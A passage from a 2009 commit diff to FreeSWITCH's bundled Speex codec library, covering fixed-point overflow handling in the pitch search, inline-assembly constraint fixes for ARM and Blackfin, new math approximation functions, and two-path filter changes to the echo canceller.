-         for (j=0;j<N;j++)
+         /* We can safely put it last and then check */
+         best_score[N-1]=tmp;
+         best_ener[N-1]=ener16[i-start]+1;
+         pitch[N-1]=i;
+         /* Check if it comes in front of others */
+         for (j=0;j<N-1;j++)
          {
-            if (tmp*best_ener[j]>best_score[j]*(1+energy[i-start]))
+            if (MULT16_16(tmp,best_ener[j])>MULT16_16(best_score[j],ADD16(1,ener16[i-start])))
             {
                for (k=N-1;k>j;k--)
                {
@@ -260,29 +280,30 @@
                   pitch[k]=pitch[k-1];
                }
                best_score[j]=tmp;
-               best_ener[j]=energy[i-start]+1;
+               best_ener[j]=ener16[i-start]+1;
                pitch[j]=i;
                break;
             }
          }
       }
    }
-#endif
-
-   /* Compute open-loop gain */
+   
+   /* Compute open-loop gain if necessary */
    if (gain)
    {
-       for (j=0;j<N;j++)
-       {
-          spx_word16_t g;
-          i=pitch[j];
-          g = DIV32(corr[i-start], 10+SHR32(MULT16_16(spx_sqrt(e0),spx_sqrt(energy[i-start])),6));
-          /* FIXME: g = max(g,corr/energy) */
-                   if (g<0)
-                   g = 0;
-             gain[j]=g;
-       }
+      for (j=0;j<N;j++)
+      {
+         spx_word16_t g;
+         i=pitch[j];
+         g = DIV32(SHL32(EXTEND32(corr16[i-start]),cshift), 10+SHR32(MULT16_16(spx_sqrt(e0),spx_sqrt(SHL32(EXTEND32(ener16[i-start]),eshift))),6));
+         /* FIXME: g = max(g,corr/energy) */
+         if (g<0)
+            g = 0;
+         gain[j]=g;
+      }
    }
+
+
 }
 #endif
 
@@ -342,7 +363,8 @@
 spx_word16_t *new_target,
 int  *cdbk_index,
 int plc_tuning,
-spx_word32_t cumul_gain
+spx_word32_t cumul_gain,
+int scaledown
 )
 {
    int i,j;
@@ -366,6 +388,9 @@
    x[1]=tmp1+nsf;
    x[2]=tmp1+2*nsf;
    
+   for (j=0;j<nsf;j++)
+      new_target[j] = target[j];
+
    {
       VARDECL(spx_mem_t *mm);
       int pp=pitch-1;
@@ -379,6 +404,16 @@
          else
             e[j]=0;
       }
+#ifdef FIXED_POINT
+      /* Scale target and excitation down if needed (avoiding overflow) */
+      if (scaledown)
+      {
+         for (j=0;j<nsf;j++)
+            e[j] = SHR16(e[j],1);
+         for (j=0;j<nsf;j++)
+            new_target[j] = SHR16(new_target[j],1);
+      }
+#endif
       for (j=0;j<p;j++)
          mm[j] = 0;
       iir_mem16(e, ak, e, nsf, p, mm, stack);
@@ -391,13 +426,18 @@
    for (i=1;i>=0;i--)
    {
       spx_word16_t e0=exc2[-pitch-1+i];
+#ifdef FIXED_POINT
+      /* Scale excitation down if needed (avoiding overflow) */
+      if (scaledown)
+         e0 = SHR16(e0,1);
+#endif
       x[i][0]=MULT16_16_Q14(r[0], e0);
       for (j=0;j<nsf-1;j++)
          x[i][j+1]=ADD32(x[i+1][j],MULT16_16_P14(r[j+1], e0));
    }
 
    for (i=0;i<3;i++)
-      corr[i]=inner_prod(x[i],target,nsf);
+      corr[i]=inner_prod(x[i],new_target,nsf);
    for (i=0;i<3;i++)
       for (j=0;j<=i;j++)
          A[i][j]=A[j][i]=inner_prod(x[i],x[j],nsf);
@@ -456,8 +496,7 @@
       *cdbk_index=best_cdbk;
    }
 
-   for (i=0;i<nsf;i++)
-      exc[i]=0;
+   SPEEX_MEMSET(exc, 0, nsf);
    for (i=0;i<3;i++)
    {
       int j;
@@ -478,7 +517,7 @@
    {
       spx_word32_t tmp = ADD32(ADD32(MULT16_16(gain[0],x[2][i]),MULT16_16(gain[1],x[1][i])),
                             MULT16_16(gain[2],x[0][i]));
-      new_target[i] = SUB16(target[i], EXTRACT16(PSHR32(tmp,6)));
+      new_target[i] = SUB16(new_target[i], EXTRACT16(PSHR32(tmp,6)));
    }
    err = inner_prod(new_target, new_target, nsf);
 
@@ -509,7 +548,7 @@
 spx_word32_t *cumul_gain
 )
 {
-   int i,j;
+   int i;
    int cdbk_index, pitch=0, best_gain_index=0;
    VARDECL(spx_sig_t *best_exc);
    VARDECL(spx_word16_t *new_target);
@@ -520,7 +559,8 @@
    const ltp_params *params;
    const signed char *gain_cdbk;
    int   gain_cdbk_size;
-   
+   int scaledown=0;
+         
    VARDECL(int *nbest);
    
    params = (const ltp_params*) par;
@@ -540,11 +580,29 @@
    {
       speex_bits_pack(bits, 0, params->pitch_bits);
       speex_bits_pack(bits, 0, params->gain_bits);
-      for (i=0;i<nsf;i++)
-         exc[i]=0;
+      SPEEX_MEMSET(exc, 0, nsf);
       return start;
    }
    
+#ifdef FIXED_POINT
+   /* Check if we need to scale everything down in the pitch search to avoid overflows */
+   for (i=0;i<nsf;i++)
+   {
+      if (ABS16(target[i])>16383)
+      {
+         scaledown=1;
+         break;
+      }
+   }
+   for (i=-end;i<nsf;i++)
+   {
+      if (ABS16(exc2[i])>16383)
+      {
+         scaledown=1;
+         break;
+      }
+   }
+#endif
    if (N>end-start+1)
       N=end-start+1;
    if (end != start)
@@ -559,16 +617,13 @@
    for (i=0;i<N;i++)
    {
       pitch=nbest[i];
-      for (j=0;j<nsf;j++)
-         exc[j]=0;
+      SPEEX_MEMSET(exc, 0, nsf);
       err=pitch_gain_search_3tap(target, ak, awk1, awk2, exc, gain_cdbk, gain_cdbk_size, pitch, p, nsf,
-                                 bits, stack, exc2, r, new_target, &cdbk_index, plc_tuning, *cumul_gain);
+                                 bits, stack, exc2, r, new_target, &cdbk_index, plc_tuning, *cumul_gain, scaledown);
       if (err<best_err || best_err<0)
       {
-         for (j=0;j<nsf;j++)
-            best_exc[j]=exc[j];
-         for (j=0;j<nsf;j++)
-            best_target[j]=new_target[j];
+         SPEEX_COPY(best_exc, exc, nsf);
+         SPEEX_COPY(best_target, new_target, nsf);
          best_err=err;
          best_pitch=pitch;
          best_gain_index=cdbk_index;
@@ -584,11 +639,16 @@
 #endif
    /*printf ("%f\n", cumul_gain);*/
    /*printf ("encode pitch: %d %d\n", best_pitch, best_gain_index);*/
-   for (i=0;i<nsf;i++)
-      exc[i]=best_exc[i];
-   for (i=0;i<nsf;i++)
-      target[i]=best_target[i];
-
+   SPEEX_COPY(exc, best_exc, nsf);
+   SPEEX_COPY(target, best_target, nsf);
+#ifdef FIXED_POINT
+   /* Scale target back up if needed */
+   if (scaledown)
+   {
+      for (i=0;i<nsf;i++)
+         target[i]=SHL16(target[i],1);
+   }
+#endif
    return pitch;
 }
 
@@ -669,8 +729,7 @@
    gain[0] = SHL16(gain[0],7);
    gain[1] = SHL16(gain[1],7);
    gain[2] = SHL16(gain[2],7);
-   for (i=0;i<nsf;i++)
-      exc_out[i]=0;
+   SPEEX_MEMSET(exc_out, 0, nsf);
    for (i=0;i<3;i++)
    {
       int j;
@@ -717,8 +776,8 @@
 )
 {
    int i;
-   VARDECL(spx_sig_t *res);
-   ALLOC(res, nsf, spx_sig_t);
+   VARDECL(spx_word16_t *res);
+   ALLOC(res, nsf, spx_word16_t);
 #ifdef FIXED_POINT
    if (pitch_coef>63)
       pitch_coef=63;
@@ -734,9 +793,11 @@
    {
       exc[i]=MULT16_32_Q15(SHL16(pitch_coef, 9),exc[i-start]);
    }
-   syn_percep_zero(exc, ak, awk1, awk2, res, nsf, p, stack);
    for (i=0;i<nsf;i++)
-      target[i]=EXTRACT16(SATURATE(SUB32(EXTEND32(target[i]),PSHR32(res[i],SIG_SHIFT-1)),32700));
+      res[i] = EXTRACT16(PSHR32(exc[i], SIG_SHIFT-1));
+   syn_percep_zero16(res, ak, awk1, awk2, res, nsf, p, stack);
+   for (i=0;i<nsf;i++)
+      target[i]=EXTRACT16(SATURATE(SUB32(EXTEND32(target[i]),EXTEND32(res[i])),32700));
    return start;
 }
 
@@ -770,7 +831,7 @@
    for (i=0;i<nsf;i++)
    {
       exc_out[i]=MULT16_16(exc[i-start],SHL16(pitch_coef,7));
-      exc[i] = PSHR(exc_out[i],13);
+      exc[i] = EXTRACT16(PSHR32(exc_out[i],13));
    }
    *pitch_val = start;
    gain_val[0]=gain_val[2]=0;

Modified: freeswitch/branches/seven/libs/speex/libspeex/ltp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/ltp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/ltp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,7 @@
 */
 
 #include <speex/speex_bits.h>
-#include "misc.h"
+#include "arch.h"
 
 /** LTP parameters. */
 typedef struct {

Modified: freeswitch/branches/seven/libs/speex/libspeex/ltp_arm4.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/ltp_arm4.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/ltp_arm4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,9 +75,10 @@
          "\tadd %2, %2, %7, asr #5\n"
          "\tadd %3, %3, %10, asr #5\n"
          "\tbne .inner_prod_loop%=\n"
-   : "=r" (deadx), "=r" (deady), "=r" (sum1),  "=r" (sum2), "=r" (deadlen),
-   "=r" (dead1), "=r" (dead2), "=r" (dead3), "=r" (dead4), "=r" (dead5), "=r" (dead6)
-   : "0" (x), "1" (y), "2" (sum1), "3" (sum2), "4" (len>>3)
+   : "=r" (deadx), "=r" (deady), "+r" (sum1),  "+r" (sum2),
+     "=r" (deadlen), "=r" (dead1), "=r" (dead2), "=r" (dead3),
+     "=r" (dead4), "=r" (dead5), "=r" (dead6)
+   : "0" (x), "1" (y), "4" (len>>3)
    : "cc"
                         );
    return (sum1+sum2)>>1;
@@ -169,13 +170,11 @@
                "\tstr %6, %13 \n"
                "\tstr %7, %14 \n"
 
-            : "=r" (y0), "=r" (y1), "=r" (y2), "=r" (y3),
+            : "+r" (y0), "+r" (y1), "+r" (y2), "+r" (y3),
          "=r" (part1),  "=r" (part2),  "=r" (part3),  "=r" (part4),
-         "=r" (x), "=r" (y), "=r" (x0),
-         "=m" (sum1), "=m" (sum2), "=m" (sum3), "=m" (sum4), "=r" (dead1)
-            : "0" (y0), "1" (y1), "2" (y2), "3" (y3),
-            "8" (x), "9" (y),
-            "11" (sum1), "12" (sum2), "13" (sum3), "14" (sum4)
+              "+r" (x), "+r" (y), "=r" (x0), "+m" (sum1),
+              "+m" (sum2), "+m" (sum3), "+m" (sum4), "=r" (dead1)
+            :
             : "cc", "memory"
                               );
       }

Modified: freeswitch/branches/seven/libs/speex/libspeex/ltp_bfin.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/ltp_bfin.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/ltp_bfin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -330,7 +330,6 @@
 "        %0 = 0;\n\t"                      /* %0: best_sum         */
 "        %1 = 0;\n\t"                      /* %1: best_cbdk        */
 "        P1 = 0;\n\t"                      /* P1: loop counter     */
-"        R5 = 64;\n\t"                     /* R5: pitch_control    */
 
 "        LSETUP (pgs1, pgs2) LC1 = %4;\n\t"
 "pgs1:     R2  = B [P0++] (X);\n\t"        /* R2: g[0]             */
@@ -339,6 +338,7 @@
 "          R2 += 32;\n\t"
 "          R3 += 32;\n\t"
 "          R4 += 32;\n\t"
+"          R4.H = 64;\n\t"                 /* R4.H: pitch_control    */
 
 "          R0  = B [P0++] (X);\n\t"              
 "          B0  = R0;\n\t"                  /* BO: gain_sum         */
@@ -349,13 +349,13 @@
 "          A0 = 0;\n\t"
          
 "          R0.L = W[I1++];\n\t"
-"          R1.L = R2.L*R5.L (IS);\n\t"
+"          R1.L = R2.L*R4.H (IS);\n\t"
 "          A0 += R1.L*R0.L (IS) || R0.L = W[I1++];\n\t"
          
-"          R1.L = R3.L*R5.L (IS);\n\t"
+"          R1.L = R3.L*R4.H (IS);\n\t"
 "          A0 += R1.L*R0.L (IS) || R0.L = W[I1++];\n\t"
          
-"          R1.L = R4.L*R5.L (IS);\n\t"
+"          R1.L = R4.L*R4.H (IS);\n\t"
 "          A0 += R1.L*R0.L (IS) || R0.L = W[I1++];\n\t"
          
 "          R1.L = R2.L*R3.L (IS);\n\t"
@@ -406,7 +406,7 @@
        : "=&d" (best_sum), "=&d" (best_cdbk) 
        : "a" (gain_cdbk), "a" (C16), "a" (gain_cdbk_size), "a" (max_gain),
          "b" (-VERY_LARGE32)
-       : "R0", "R1", "R2", "R3", "R4", "R5", "P0", 
+       : "R0", "R1", "R2", "R3", "R4", "P0", 
          "P1", "I1", "L1", "A0", "B0"
 #if (__GNUC__ == 4)
          , "LC1"

Modified: freeswitch/branches/seven/libs/speex/libspeex/math_approx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/math_approx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/math_approx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -136,6 +136,7 @@
 #define K3 340
 #define K4 -10
 
+#if 0
 spx_word16_t spx_cos(spx_word16_t x)
 {
    spx_word16_t x2;
@@ -150,7 +151,7 @@
       return SUB32(-K1, MULT16_16_P13(x2, ADD32(K2, MULT16_16_P13(x2, ADD32(K3, MULT16_16_P13(K4, x2))))));
    }
 }
-
+#endif
 #else
 
 #ifndef M_PI
@@ -164,6 +165,7 @@
 
 
 #define SPX_PI_2 1.5707963268
+#if 0
 spx_word16_t spx_cos(spx_word16_t x)
 {
    if (x<SPX_PI_2)
@@ -177,5 +179,5 @@
    }
 }
 
-
 #endif
+#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/math_approx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/math_approx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/math_approx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,16 +35,298 @@
 #ifndef MATH_APPROX_H
 #define MATH_APPROX_H
 
-#include "misc.h"
+#include "arch.h"
 
-spx_word16_t spx_cos(spx_word16_t x);
+#ifndef FIXED_POINT
 
-#ifdef FIXED_POINT
-spx_word16_t spx_sqrt(spx_word32_t x);
-spx_word16_t spx_acos(spx_word16_t x);
-#else
 #define spx_sqrt sqrt
 #define spx_acos acos
+#define spx_exp exp
+#define spx_cos_norm(x) (cos((.5f*M_PI)*(x)))
+#define spx_atan atan
+
+/** Generate a pseudo-random number */
+static inline spx_word16_t speex_rand(spx_word16_t std, spx_int32_t *seed)
+{
+   const unsigned int jflone = 0x3f800000;
+   const unsigned int jflmsk = 0x007fffff;
+   union {int i; float f;} ran;
+   *seed = 1664525 * *seed + 1013904223;
+   ran.i = jflone | (jflmsk & *seed);
+   ran.f -= 1.5;
+   return 3.4642*std*ran.f;
+}
+
+
 #endif
 
+
+static inline spx_int16_t spx_ilog2(spx_uint32_t x)
+{
+   int r=0;
+   if (x>=(spx_int32_t)65536)
+   {
+      x >>= 16;
+      r += 16;
+   }
+   if (x>=256)
+   {
+      x >>= 8;
+      r += 8;
+   }
+   if (x>=16)
+   {
+      x >>= 4;
+      r += 4;
+   }
+   if (x>=4)
+   {
+      x >>= 2;
+      r += 2;
+   }
+   if (x>=2)
+   {
+      r += 1;
+   }
+   return r;
+}
+
+static inline spx_int16_t spx_ilog4(spx_uint32_t x)
+{
+   int r=0;
+   if (x>=(spx_int32_t)65536)
+   {
+      x >>= 16;
+      r += 8;
+   }
+   if (x>=256)
+   {
+      x >>= 8;
+      r += 4;
+   }
+   if (x>=16)
+   {
+      x >>= 4;
+      r += 2;
+   }
+   if (x>=4)
+   {
+      r += 1;
+   }
+   return r;
+}
+
+#ifdef FIXED_POINT
+
+/** Generate a pseudo-random number */
+static inline spx_word16_t speex_rand(spx_word16_t std, spx_int32_t *seed)
+{
+   spx_word32_t res;
+   *seed = 1664525 * *seed + 1013904223;
+   res = MULT16_16(EXTRACT16(SHR32(*seed,16)),std);
+   return EXTRACT16(PSHR32(SUB32(res, SHR32(res, 3)),14));
+}
+
+/* sqrt(x) ~= 0.22178 + 1.29227*x - 0.77070*x^2 + 0.25723*x^3 (for .25 < x < 1) */
+/*#define C0 3634
+#define C1 21173
+#define C2 -12627
+#define C3 4215*/
+
+/* sqrt(x) ~= 0.22178 + 1.29227*x - 0.77070*x^2 + 0.25659*x^3 (for .25 < x < 1) */
+#define C0 3634
+#define C1 21173
+#define C2 -12627
+#define C3 4204
+
+static inline spx_word16_t spx_sqrt(spx_word32_t x)
+{
+   int k;
+   spx_word32_t rt;
+   k = spx_ilog4(x)-6;
+   x = VSHR32(x, (k<<1));
+   rt = ADD16(C0, MULT16_16_Q14(x, ADD16(C1, MULT16_16_Q14(x, ADD16(C2, MULT16_16_Q14(x, (C3)))))));
+   rt = VSHR32(rt,7-k);
+   return rt;
+}
+
+/* log(x) ~= -2.18151 + 4.20592*x - 2.88938*x^2 + 0.86535*x^3 (for .5 < x < 1) */
+
+
+#define A1 16469
+#define A2 2242
+#define A3 1486
+
+static inline spx_word16_t spx_acos(spx_word16_t x)
+{
+   int s=0;
+   spx_word16_t ret;
+   spx_word16_t sq;
+   if (x<0)
+   {
+      s=1;
+      x = NEG16(x);
+   }
+   x = SUB16(16384,x);
+   
+   x = x >> 1;
+   sq = MULT16_16_Q13(x, ADD16(A1, MULT16_16_Q13(x, ADD16(A2, MULT16_16_Q13(x, (A3))))));
+   ret = spx_sqrt(SHL32(EXTEND32(sq),13));
+   
+   /*ret = spx_sqrt(67108864*(-1.6129e-04 + 2.0104e+00*f + 2.7373e-01*f*f + 1.8136e-01*f*f*f));*/
+   if (s)
+      ret = SUB16(25736,ret);
+   return ret;
+}
+
+
+#define K1 8192
+#define K2 -4096
+#define K3 340
+#define K4 -10
+
+static inline spx_word16_t spx_cos(spx_word16_t x)
+{
+   spx_word16_t x2;
+
+   if (x<12868)
+   {
+      x2 = MULT16_16_P13(x,x);
+      return ADD32(K1, MULT16_16_P13(x2, ADD32(K2, MULT16_16_P13(x2, ADD32(K3, MULT16_16_P13(K4, x2))))));
+   } else {
+      x = SUB16(25736,x);
+      x2 = MULT16_16_P13(x,x);
+      return SUB32(-K1, MULT16_16_P13(x2, ADD32(K2, MULT16_16_P13(x2, ADD32(K3, MULT16_16_P13(K4, x2))))));
+   }
+}
+
+#define L1 32767
+#define L2 -7651
+#define L3 8277
+#define L4 -626
+
+static inline spx_word16_t _spx_cos_pi_2(spx_word16_t x)
+{
+   spx_word16_t x2;
+   
+   x2 = MULT16_16_P15(x,x);
+   return ADD16(1,MIN16(32766,ADD32(SUB16(L1,x2), MULT16_16_P15(x2, ADD32(L2, MULT16_16_P15(x2, ADD32(L3, MULT16_16_P15(L4, x2))))))));
+}
+
+static inline spx_word16_t spx_cos_norm(spx_word32_t x)
+{
+   x = x&0x0001ffff;
+   if (x>SHL32(EXTEND32(1), 16))
+      x = SUB32(SHL32(EXTEND32(1), 17),x);
+   if (x&0x00007fff)
+   {
+      if (x<SHL32(EXTEND32(1), 15))
+      {
+         return _spx_cos_pi_2(EXTRACT16(x));
+      } else {
+         return NEG32(_spx_cos_pi_2(EXTRACT16(65536-x)));
+      }
+   } else {
+      if (x&0x0000ffff)
+         return 0;
+      else if (x&0x0001ffff)
+         return -32767;
+      else
+         return 32767;
+   }
+}
+
+/*
+ K0 = 1
+ K1 = log(2)
+ K2 = 3-4*log(2)
+ K3 = 3*log(2) - 2
+*/
+#define D0 16384
+#define D1 11356
+#define D2 3726
+#define D3 1301
+/* Input in Q11 format, output in Q16 */
+static inline spx_word32_t spx_exp2(spx_word16_t x)
+{
+   int integer;
+   spx_word16_t frac;
+   integer = SHR16(x,11);
+   if (integer>14)
+      return 0x7fffffff;
+   else if (integer < -15)
+      return 0;
+   frac = SHL16(x-SHL16(integer,11),3);
+   frac = ADD16(D0, MULT16_16_Q14(frac, ADD16(D1, MULT16_16_Q14(frac, ADD16(D2 , MULT16_16_Q14(D3,frac))))));
+   return VSHR32(EXTEND32(frac), -integer-2);
+}
+
+/* Input in Q11 format, output in Q16 */
+static inline spx_word32_t spx_exp(spx_word16_t x)
+{
+   if (x>21290)
+      return 0x7fffffff;
+   else if (x<-21290)
+      return 0;
+   else
+      return spx_exp2(MULT16_16_P14(23637,x));
+}
+#define M1 32767
+#define M2 -21
+#define M3 -11943
+#define M4 4936
+
+static inline spx_word16_t spx_atan01(spx_word16_t x)
+{
+   return MULT16_16_P15(x, ADD32(M1, MULT16_16_P15(x, ADD32(M2, MULT16_16_P15(x, ADD32(M3, MULT16_16_P15(M4, x)))))));
+}
+
+#undef M1
+#undef M2
+#undef M3
+#undef M4
+
+/* Input in Q15, output in Q14 */
+static inline spx_word16_t spx_atan(spx_word32_t x)
+{
+   if (x <= 32767)
+   {
+      return SHR16(spx_atan01(x),1);
+   } else {
+      int e = spx_ilog2(x);
+      if (e>=29)
+         return 25736;
+      x = DIV32_16(SHL32(EXTEND32(32767),29-e), EXTRACT16(SHR32(x, e-14)));
+      return SUB16(25736, SHR16(spx_atan01(x),1));
+   }
+}
+#else
+
+#ifndef M_PI
+#define M_PI           3.14159265358979323846  /* pi */
 #endif
+
+#define C1 0.9999932946f
+#define C2 -0.4999124376f
+#define C3 0.0414877472f
+#define C4 -0.0012712095f
+
+
+#define SPX_PI_2 1.5707963268
+static inline spx_word16_t spx_cos(spx_word16_t x)
+{
+   if (x<SPX_PI_2)
+   {
+      x *= x;
+      return C1 + x*(C2+x*(C3+C4*x));
+   } else {
+      x = M_PI-x;
+      x *= x;
+      return NEG16(C1 + x*(C2+x*(C3+C4*x)));
+   }
+}
+
+#endif
+
+
+#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/mdf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/mdf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/mdf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,4 @@
-/* Copyright (C) 2003-2006 Jean-Marc Valin
+/* Copyright (C) 2003-2008 Jean-Marc Valin
 
    File: mdf.c
    Echo canceller based on the MDF algorithm (see below)
@@ -41,8 +41,8 @@
    double-talk is achieved using a variable learning rate as described in:
    
    Valin, J.-M., On Adjusting the Learning Rate in Frequency Domain Echo 
-   Cancellation With Double-Talk. To appear in IEEE Transactions on Audio,
-   Speech and Language Processing, 2006.
+   Cancellation With Double-Talk. IEEE Transactions on Audio,
+   Speech and Language Processing, Vol. 15, No. 3, pp. 1030-1034, 2007.
    http://people.xiph.org/~jm/papers/valin_taslp2006.pdf
    
    There is no explicit double-talk detection, but a continuous variation
@@ -69,19 +69,17 @@
 #include "config.h"
 #endif
 
-#include "misc.h"
+#include "arch.h"
 #include "speex/speex_echo.h"
 #include "fftwrap.h"
 #include "pseudofloat.h"
 #include "math_approx.h"
+#include "os_support.h"
 
 #ifndef M_PI
 #define M_PI 3.14159265358979323846
 #endif
 
-#define min(a,b) ((a)<(b) ? (a) : (b))
-#define max(a,b) ((a)>(b) ? (a) : (b))
-
 #ifdef FIXED_POINT
 #define WEIGHT_SHIFT 11
 #define NORMALIZE_SCALEDOWN 5
@@ -90,19 +88,46 @@
 #define WEIGHT_SHIFT 0
 #endif
 
-/* If enabled, the transition between blocks is smooth, so there isn't any blocking
-aftifact when adapting. The cost is an extra FFT and a matrix-vector multiply */
-#define SMOOTH_BLOCKS
+#ifdef FIXED_POINT
+#define WORD2INT(x) ((x) < -32767 ? -32768 : ((x) > 32766 ? 32767 : (x)))  
+#else
+#define WORD2INT(x) ((x) < -32767.5f ? -32768 : ((x) > 32766.5f ? 32767 : floor(.5+(x))))  
+#endif
 
+/* If enabled, the AEC will use a foreground filter and a background filter to be more robust to double-talk
+   and difficult signals in general. The cost is an extra FFT and a matrix-vector multiply */
+#define TWO_PATH
+
 #ifdef FIXED_POINT
-static const spx_float_t MIN_LEAK = {16777, -19};
+static const spx_float_t MIN_LEAK = {20972, -22};
+
+/* Constants for the two-path filter */
+static const spx_float_t VAR1_SMOOTH = {23593, -16};
+static const spx_float_t VAR2_SMOOTH = {23675, -15};
+static const spx_float_t VAR1_UPDATE = {16384, -15};
+static const spx_float_t VAR2_UPDATE = {16384, -16};
+static const spx_float_t VAR_BACKTRACK = {16384, -12};
 #define TOP16(x) ((x)>>16)
+
 #else
-static const spx_float_t MIN_LEAK = .032f;
+
+static const spx_float_t MIN_LEAK = .005f;
+
+/* Constants for the two-path filter */
+static const spx_float_t VAR1_SMOOTH = .36f;
+static const spx_float_t VAR2_SMOOTH = .7225f;
+static const spx_float_t VAR1_UPDATE = .5f;
+static const spx_float_t VAR2_UPDATE = .25f;
+static const spx_float_t VAR_BACKTRACK = 4.f;
 #define TOP16(x) (x)
 #endif
 
 
+#define PLAYBACK_DELAY 2
+
+void speex_echo_get_residual(SpeexEchoState *st, spx_word32_t *Yout, int len);
+
+
 /** Speex echo cancellation state. */
 struct SpeexEchoState_ {
    int frame_size;           /**< Number of samples processed each time */
@@ -111,49 +136,61 @@
    int cancel_count;
    int adapted;
    int saturated;
+   int screwed_up;
+   int C;                    /** Number of input channels (microphones) */
+   int K;                    /** Number of output channels (loudspeakers) */
    spx_int32_t sampling_rate;
    spx_word16_t spec_average;
    spx_word16_t beta0;
    spx_word16_t beta_max;
    spx_word32_t sum_adapt;
-   spx_word16_t *e;
-   spx_word16_t *x;
-   spx_word16_t *X;
-   spx_word16_t *d;
-   spx_word16_t *y;
+   spx_word16_t leak_estimate;
+   
+   spx_word16_t *e;      /* scratch */
+   spx_word16_t *x;      /* Far-end input buffer (2N) */
+   spx_word16_t *X;      /* Far-end buffer (M+1 frames) in frequency domain */
+   spx_word16_t *input;  /* scratch */
+   spx_word16_t *y;      /* scratch */
    spx_word16_t *last_y;
-   spx_word32_t *Yps;
-   spx_word16_t *Y;
+   spx_word16_t *Y;      /* scratch */
    spx_word16_t *E;
-   spx_word32_t *PHI;
-   spx_word32_t *W;
-   spx_word32_t *power;
-   spx_float_t *power_1;
-   spx_word16_t *wtmp;
+   spx_word32_t *PHI;    /* scratch */
+   spx_word32_t *W;      /* (Background) filter weights */
+#ifdef TWO_PATH
+   spx_word16_t *foreground; /* Foreground filter weights */
+   spx_word32_t  Davg1;  /* 1st recursive average of the residual power difference */
+   spx_word32_t  Davg2;  /* 2nd recursive average of the residual power difference */
+   spx_float_t   Dvar1;  /* Estimated variance of 1st estimator */
+   spx_float_t   Dvar2;  /* Estimated variance of 2nd estimator */
+#endif
+   spx_word32_t *power;  /* Power of the far-end signal */
+   spx_float_t  *power_1;/* Inverse power of far-end */
+   spx_word16_t *wtmp;   /* scratch */
 #ifdef FIXED_POINT
-   spx_word16_t *wtmp2;
+   spx_word16_t *wtmp2;  /* scratch */
 #endif
-   spx_word32_t *Rf;
-   spx_word32_t *Yf;
-   spx_word32_t *Xf;
+   spx_word32_t *Rf;     /* scratch */
+   spx_word32_t *Yf;     /* scratch */
+   spx_word32_t *Xf;     /* scratch */
    spx_word32_t *Eh;
    spx_word32_t *Yh;
-   spx_float_t Pey;
-   spx_float_t Pyy;
+   spx_float_t   Pey;
+   spx_float_t   Pyy;
    spx_word16_t *window;
    spx_word16_t *prop;
    void *fft_table;
-   spx_word16_t memX, memD, memE;
+   spx_word16_t *memX, *memD, *memE;
    spx_word16_t preemph;
    spx_word16_t notch_radius;
-   spx_mem_t notch_mem[2];
+   spx_mem_t *notch_mem;
 
    /* NOTE: If you only use speex_echo_cancel() and want to save some memory, remove this */
    spx_int16_t *play_buf;
    int play_buf_pos;
+   int play_buf_started;
 };
 
-static inline void filter_dc_notch16(const spx_int16_t *in, spx_word16_t radius, spx_word16_t *out, int len, spx_mem_t *mem)
+static inline void filter_dc_notch16(const spx_int16_t *in, spx_word16_t radius, spx_word16_t *out, int len, spx_mem_t *mem, int stride)
 {
    int i;
    spx_word16_t den2;
@@ -165,7 +202,7 @@
    /*printf ("%d %d %d %d %d %d\n", num[0], num[1], num[2], den[0], den[1], den[2]);*/
    for (i=0;i<len;i++)
    {
-      spx_word16_t vin = in[i];
+      spx_word16_t vin = in[i*stride];
       spx_word32_t vout = mem[0] + SHL32(EXTEND32(vin),15);
 #ifdef FIXED_POINT
       mem[0] = mem[1] + SHL32(SHL32(-EXTEND32(vin),15) + MULT16_32_Q15(radius,vout),1);
@@ -177,6 +214,7 @@
    }
 }
 
+/* This inner product is slightly different from the codec version because of fixed-point */
 static inline spx_word32_t mdf_inner_prod(const spx_word16_t *x, const spx_word16_t *y, int len)
 {
    spx_word32_t sum=0;
@@ -204,6 +242,18 @@
    ps[j]=MULT16_16(X[i],X[i]);
 }
 
+/** Compute power spectrum of a half-complex (packed) vector and accumulate */
+static inline void power_spectrum_accum(const spx_word16_t *X, spx_word32_t *ps, int N)
+{
+   int i, j;
+   ps[0]+=MULT16_16(X[0],X[0]);
+   for (i=1,j=1;i<N-1;i+=2,j++)
+   {
+      ps[j] +=  MULT16_16(X[i],X[i]) + MULT16_16(X[i+1],X[i+1]);
+   }
+   ps[j]+=MULT16_16(X[i],X[i]);
+}
+
 /** Compute cross-power spectrum of a half-complex (packed) vectors and add to acc */
 #ifdef FIXED_POINT
 static inline void spectral_mul_accum(const spx_word16_t *X, const spx_word32_t *Y, spx_word16_t *acc, int N, int M)
@@ -233,6 +283,34 @@
    }
    acc[N-1] = PSHR32(tmp1,WEIGHT_SHIFT);
 }
+static inline void spectral_mul_accum16(const spx_word16_t *X, const spx_word16_t *Y, spx_word16_t *acc, int N, int M)
+{
+   int i,j;
+   spx_word32_t tmp1=0,tmp2=0;
+   for (j=0;j<M;j++)
+   {
+      tmp1 = MAC16_16(tmp1, X[j*N],Y[j*N]);
+   }
+   acc[0] = PSHR32(tmp1,WEIGHT_SHIFT);
+   for (i=1;i<N-1;i+=2)
+   {
